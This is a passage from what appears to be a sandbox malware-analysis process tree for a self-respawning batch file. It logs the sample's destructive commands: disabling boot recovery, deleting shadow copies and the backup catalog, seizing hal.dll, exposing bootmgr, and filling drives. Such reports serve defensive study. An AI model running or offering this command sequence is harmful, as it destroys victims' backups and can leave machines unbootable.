  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:6740
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7392
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:10448
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:11304
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:1152
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:5528
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6624
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13156
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:7768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:9672
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:16140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:10496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12708
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15880
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5032
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:300
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3012
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3108
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1848
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:1616
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3252
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4560
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    PID:5604
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5284
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:6116
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:3936
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8128
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7044
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:8548
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:5600
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:14980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6836
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11428
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12464
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:2396
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7568
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8956
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7120
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:9020
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12104
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:13256
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:12072
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:15208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:11708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:10576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4204
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3136
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4088
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3916
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4404
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:2676
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3368
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3012
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3936
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5344
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5888
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5360
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5308
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:5520
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5828
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:7140
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7884
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:7892
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      PID:13156
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:14924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5348
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6012
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6156
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:6488
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:8160
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:11372
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15124
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:14940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5872
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7132
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6924
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:6936
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:11792
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:12752
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11916
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:16144
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:13004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:6508
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:8992
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:7340
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:8176
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:10416
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:5668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6696
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:9688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11556
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:15388
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:13768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:624
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:284
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3520
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2880
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1132
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:300
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5712
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5340
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5740
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:5688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6716
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12444
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14848
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:7120
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:16180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:5968
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:6296
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12404
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14996
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:14252
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12380
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6048
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12620
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14976
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:11500
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:10524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6396
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11784
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:12836
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:13580
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6304
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:12772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:14968
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:8436
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:12768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7156
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:7796
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:10496
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:4100
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      PID:12420
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {current} safeboot
      4⤵
      PID:15716
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:15616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:8116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:12892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:15264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3704
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4532
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5076
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:548
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3520
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:2600
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5280
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5672
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Modifies file permissions
    PID:5260
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5836
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5776
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:6620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7292
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:6392
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:13424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat' -Verb RunAs"
      4⤵
      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:13112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:11776
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:11132
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:15892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3108
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1764
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2308
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:1208
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5624
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Modifies file permissions
    PID:6100
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5332
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:6056
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:6984
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:7620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:7988
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:6960
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:10524
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:1008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:12424
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:2436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  PID:332
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1772
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:772
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4584
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1124
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4540
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5440
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:5836
- - C:\Windows\system32\icacls.exe
